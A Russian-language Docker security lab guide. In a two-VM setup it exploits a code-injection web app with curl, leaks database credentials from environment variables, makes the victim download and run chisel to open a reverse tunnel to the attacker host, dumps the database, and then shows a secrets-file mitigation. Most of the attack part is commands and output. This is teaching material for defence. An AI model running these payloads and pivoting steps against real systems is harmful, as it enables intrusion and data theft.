# Docker Security
## Руководство к практике №2
### Для выполнения потребуется:
- virtualbox
- vagrant
- ansible
- набор файлов из директории `Lab#2`
## Описание сценария тестирования
Стенд состоит из двух виртуальных машин `hacker` и `victim` объеденных сетью. На VM `victim` в docker-окружении запускается 2 контейнера. Уязвимое веб-приложение и БД MariaDB. При этом порты контейнера MariaDB не будут выставлены наружу. Доступ к БД можно будет получить только из контейнера с web-приложением.
Настройки хостов:
- `victim` IP: 192.168.56.6;
- `hacker` IP: 192.168.56.7.
Чтобы собрать лабораторную необходимо зайти в директорию `Lab#2` и выполнить команду:
```
$ vagrant up
```
Для запуска примера выполните следующие шаги на хосте `victim`:
```
$ vagrant ssh victim
vagrant@victim:~$ cd /vagrant/victim/
vagrant@victim:/vagrant/victim$ docker-compose up --build -d
```
После этого на хосте `victim` запустится два контейнера: с уязвимым web-приложением и с БД mariadb, которая не имеет открытых в хостовой системе портов.
## Тестирование
Зайдём в VM `hacker`:
```
$ vagrant ssh hacker
```
Проверим от имени какого пользователя запущено web-приложение, для этого выполним команду `id`:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('id');"
<h1> Hello world!</h1>
uid=1000(web) gid=1000(web) groups=1000(web)
<br>
```
Теперь получим список переменных окружения:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('env');"
<h1> Hello world!</h1>
...
MARIADB_DATABASE=production
MARIADB_HOSTNAME=mariadb
MARIADB_ROOT_PASSWORD=strongpassword
MARIADB_PASSWORD=verystrongpassword
MARIADB_USER=prod
...
<br>
```
Как видим из листинга, в переменных окружения имеется конфигурация соединения с БД сервером. Да же есть hostname этого сервера `MARIADB_HOSTNAME`. Предположительно запущенного то же в докере на том же хосте. Проверим имеется ли сетевой доступ до этого хоста:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('timeout 1 bash -c \'cat < /dev/null > /dev/tcp/mariadb/3306\' && echo Open || echo Closed');"
<h1> Hello world!</h1>
Open
<br>
```
Что бы не мучиться с пробросом DNS, определим IP адрес сервера mariadb:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('getent hosts mariadb');"
<h1> Hello world!</h1>
172.18.0.2 mariadb
<br>
```
Как мы видим у web-приложения есть сетевая связанность с сервером БД. Так в docker-контейнере нет приложения для работы с сервером БД, чтобы полчить данные из БД. Воспользуемся техникой `pivoting` для получения доступа к БД.
Воспользуемся приложением [chisel](https://github.com/jpillora/chisel):
```
vagrant@hacker:~$ curl -L https://github.com/jpillora/chisel/releases/download/v1.7.3/chisel_1.7.3_linux_amd64.gz --output chisel.gz
vagrant@hacker:~$ gzip -d chisel.gz
vagrant@hacker:~$ chmod +x chisel
```
Загрузим приложение на `victim` и запустим его:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('curl -L https://github.com/jpillora/chisel/releases/download/v1.7.3/chisel_1.7.3_linux_amd64.gz --output /tmp/chisel.gz 2>&1');"
<h1> Hello world!</h1>
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 651 100 651 0 0 3518 0 --:--:-- --:--:-- --:--:-- 3518
100 3346k 100 3346k 0 0 789k 0 0:00:04 0:00:04 --:--:-- 870k
<br>
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('cd /tmp && gzip -d chisel.gz && chmod +x chisel');"
<h1> Hello world!</h1>
<br>
```
Запустим серверную часть chisel на хосте `hacker`, для этого откроем новый терминал и выполним:
```
$ vagrant ssh hacker
vagrant@hacker:~$ ./chisel server -p 8008 --reverse
2020/11/29 15:02:22 server: Reverse tunnelling enabled
2020/11/29 15:02:22 server: Fingerprint tyWC23cR/aMoDOJKIjwdXIlzirzNP4bkS3KNRlLa78k=
2020/11/29 15:02:22 server: Listening on http://0.0.0.0:8008
```
Теперь запустим chisel на хосте `victim` при помощи команды:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('/tmp/chisel client 192.168.56.7:8008 R:3306:172.18.0.2:3306 2>&1');"
<h1> Hello world!</h1>
2020/11/29 15:04:51 client: Connecting to ws://192.168.56.7:8008
2020/11/29 15:04:51 client: Connected (Latency 2.219222ms)
```
Откроем ещё один терминал на `hacker`:
```
$ vagrant ssh hacker
vagrant@hacker:~$ mysqldump -h 127.0.0.1 -uprod -p production
Enter password:
<...>
LOCK TABLES `flag` WRITE;
/*!40000 ALTER TABLE `flag` DISABLE KEYS */;
INSERT INTO `flag` VALUES (1,'Flag captured');
/*!40000 ALTER TABLE `flag` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
<...>
```
:::success
## Как митигировать уязвимость. Способ №1
Единственным решением является отказать от передаче паролей через переменные окружения. Но необходимо предложить альтернативу так как эта информация необходима для формирования конфигурационных-файлов
и пр.
Я предлагаю сохранять конфиденциальную информацию в отдельный файл и монтировать его с правами доступа только для пользователя `root`.
В момент выполнения init-скрипта эти переменные будут загружаться формироваться файлы настроек и выгружаться из окружения.
Для реализации данного способа необходимо внести следующие изменения.
В Dockerfile:
```
...
RUN mkdir /run/secrets && chown root:root /run/secrets && chmod 0700 /run/secrets
...
```
В init-script:
```
#!/bin/bash
if [ -f /run/secrets/secrets ]; then
. /run/secrets/secrets
fi
...
#Clean security sensitive variable
if [ -f /run/secrets/secrets ]; then
awk -F'=' '{if ($1!="") {print $1}}' /run/secrets/secrets | while read -r VAR; do
unset "$VAR"
done
fi
exec sudo -E -u web "$@"
```
В docker-compose.yml
```
webapp:
build:
context: .
dockerfile: Dockerfile
volumes:
- ./.env:/run/secrets/secrets:ro
ports:
- "80:8080"
```
Внесём эти изменения и перезапустим приложение:
```
vagrant@victim:/vagrant/victim$ docker-compose stop
Stopping victim_webapp_1 ... done
Stopping victim_mariadb_1 ... done
docker-compose up --build -d
Building webapp
Step 1/8 : FROM php:7.4-cli
---> 639632eff06b
Step 2/8 : WORKDIR /app
---> Using cache
---> d97dd703f6bd
Step 3/8 : RUN apt-get update && apt-get install -y sudo && rm -rf /var/lib/apt/lists/*
---> Using cache
---> c1613a4f253c
Step 4/8 : RUN mkdir /run/secrets && chown root:root /run/secrets && chmod 0700 /run/secrets
---> Running in 35d2cb627010
Removing intermediate container 35d2cb627010
---> df4fef6566a2
Step 5/8 : COPY index.php index.php
---> 6f9695706c5c
Step 6/8 : COPY init /usr/local/bin/
---> d5184d07c478
Step 7/8 : ENTRYPOINT ["/usr/local/bin/init"]
---> Running in 1a2750eaa5a8
Removing intermediate container 1a2750eaa5a8
---> 46d9cdba9119
Step 8/8 : CMD [ "php", "-S", "0.0.0.0:8080" ]
---> Running in 6ee1b56699e7
Removing intermediate container 6ee1b56699e7
---> f78643b8c10c
Successfully built f78643b8c10c
Successfully tagged victim_webapp:latest
Starting victim_mariadb_1 ... done
Recreating victim_webapp_1 ... done
```
Попробуем теперь получить значения переменных окружения с хоста `hacker`:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('env | grep MARIADB');"
<h1> Hello world!</h1>
<br>
```
Как видим переменных связанных с настройкой mariadb в переменных окружения нет.
Попробуем получить их непосредственно из файла `/run/secrets/secrets`:
```
vagrant@hacker:~$ curl -G 192.168.56.6 --data-urlencode "code=system('cat /run/secrets/secrets 2>&1');"
<h1> Hello world!</h1>
cat: /run/secrets/secrets: Permission denied
<br>
```
Стоит помнить, что запускать приложение от привилигированного пользователя нельзя иначе это сломает способ митигации недостатка.
:::
:::warning
## Как митигировать уязвимость. Способ №1
consul-template
:::
## Полезные материалы для изучения
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md
- https://github.com/jpillora/chisel